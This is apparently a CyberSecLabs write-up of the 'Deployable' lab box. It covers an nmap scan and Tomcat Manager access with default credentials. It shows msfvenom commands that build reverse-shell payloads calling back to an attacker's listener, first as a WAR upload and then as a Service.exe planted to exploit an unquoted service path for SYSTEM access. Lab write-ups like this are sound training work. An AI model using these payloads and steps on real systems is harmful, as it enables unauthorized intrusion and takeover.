---
description: https://www.cyberseclabs.co.uk/labs/info/Deployable/
---

# Deployable

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-74999b3de8f6804d906969b7dfb4ed3e5e4f3651%2Fimage.png?alt=media)

## Nmap

```
sudo nmap 172.31.1.13 -p- -sS -sV

PORT      STATE SERVICE            VERSION
135/tcp   open  msrpc              Microsoft Windows RPC
139/tcp   open  netbios-ssn        Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds       Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
3389/tcp  open  ssl/ms-wbt-server?
5985/tcp  open  http               Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
8009/tcp  open  ajp13              Apache Jserv (Protocol v1.3)
8080/tcp  open  http               Apache Tomcat/Coyote JSP engine 1.1
47001/tcp open  http               Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
49152/tcp open  msrpc              Microsoft Windows RPC
49153/tcp open  msrpc              Microsoft Windows RPC
49154/tcp open  msrpc              Microsoft Windows RPC
49155/tcp open  msrpc              Microsoft Windows RPC
49156/tcp open  msrpc              Microsoft Windows RPC
49163/tcp open  msrpc              Microsoft Windows RPC
49164/tcp open  msrpc              Microsoft Windows RPC
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows
```

## HTTPS

ON Port 8080 we have Apache Tomcat/7.0.88. With Tomcat you can access a file upload session under the 'Manager App' button on the right.

![http://172.31.1.13:8080/](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-e7b0a3d67e0cfc61e96f14123b6c055e540a3aed%2Fimage.png?alt=media)

You will be presented with Http-basic-auth request box. Entering invalid credentials defaults to the page below.

![http://172.31.1.13:8080/host-manager/html](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-93219f076d38b66d5d6c22f7ecb59b40048990f5%2Fimage.png?alt=media)

The above page provides default credentials for admin:s3cret

If we try reloading the 'Manager App' page again and entering the credentials we are able to login with the defaults.

![http://172.31.1.13:8080/manager/html](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-2b39d8ce99efcf6e246839e8afbddf40fd605e40%2Fimage.png?alt=media)

## Initial Foothold

I have completed some Tomcat based boxes before and find they are usually susceptible to malicious WAR file uploads. Further down the page we can see an opportunity to upload a WAR file.

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-c97f91943db21981a7e347bf612dea8a53836a8d%2Fimage.png?alt=media)

msfvenom can be used to create malicious WAR files which essentially are Java based reverse shells that we can generate. I have linked an article below which goes over some ways to exploit a Tomcat server. I will be using the WAR backdoor method.

{% embed url="https://www.hackingarticles.in/multiple-ways-to-exploit-tomcat-manager/" %}

Run the following in a terminal.

```
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f war > shell.war
```

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-c8e5405be09e4c1c4044d0cd9614c602574444bd%2Fimage.png?alt=media)

After this has been generated we can upload the malicious file. We can now see the shell now appear in the application list.

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-a76ed6dac6e57eeefa8f5973cc154b5c8135cdb6%2Fimage.png?alt=media)

Clicking on the shell will execute the reverse shell we created. Ensure you have a netcat listener running to catch the shell.

Once we execute the shell we should connect.

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-9c2a12928bc92d6e0ef2bd34c6df2fbf64d02258%2Fimage.png?alt=media)

## Privilege Escalation

Using `whoami /priv` we can check our privileges:

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-ed844bfc4e8f2ba40232861f48f62232a5e13584%2Fimage.png?alt=media)

'SeImpersonatePrivilege' is interesting and can potentially lead to JuicyPotato attacks. This is somewhat expected as this privilege is often given to service accounts in which we are likely running as.

the `systeminfo` command reveals we are running on Windows Server 2012 R2 Datacenter which is usually vulnerable to JuicyPotato attacks.

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-0333383c1540a05939b16dc96ddd1cd377f43849%2Fimage.png?alt=media)

For now I will explore other attack vectors as I have covered this type of attack recently.

I next set up a SMB server on my attacking machine using Impacket's smbserver.py.

```
sudo python2 smbserver.py -smb2support Share /home/kali/scripts/windows/
```

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-899091a67f3b620ad3e5c8e09746cf8ddee696b1%2Fimage.png?alt=media)

We now should be able to execute and download files easily from inside the shell on the Server. I started with by running winPEAS.exe to identify in points of escalation.

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-4c0aafeeee57cdd54ce4c6e577e6cc281850ed93%2Fimage.png?alt=media)

After a while winPEAS.exe picks up that the Deploy service is which uses Deploy.exe in the following path at `C:\Program Files\Deploy Ready\Service Files\Deploy.exe` has no quotes and has spaces in the path

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-4d6e00686bfa5746fa087742bfebb72eb411b6a1%2Fimage.png?alt=media)

I have linked below a really good Medium article that explains the vulnerability really well. I have also shown a small snippet from the Article.

{% embed url="https://medium.com/@SumitVerma101/windows-privilege-escalation-part-1-unquoted-service-path-c7a011a8d8ae" %}

![@SumitVerma101](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-f40ecb6093c6cf021d829760960625ca33aedf71%2Fimage.png?alt=media)

In this case I will create a reverse shell with `msfvenom` called `Service.exe` as this will be executed before the `Deploy.exe` file.

```
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f exe > /home/kali/scripts/windows/Service.exe 
```

I can then copy this over to the destination folder using the SMB server I set up earlier.

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-70d4f7b177871c06b3fb98de974a9aabd905722a%2Fimage.png?alt=media)

We can now set up a `netcat` listener on our attacking machine to the port of the `Service.exe` we created.

```
nc -lvp 4477
```

We need to then start the service for it to execute the Service.exe as System.

```
sc start Deploy
```

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-5aa3c7f19a430030ddd641be1f4facae7488fd46%2Fimage.png?alt=media)

You should now have a shell as System.

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-952d9f7ac6e41291a4c836dd2e9248ab418e6ad0%2Fimage.png?alt=media)
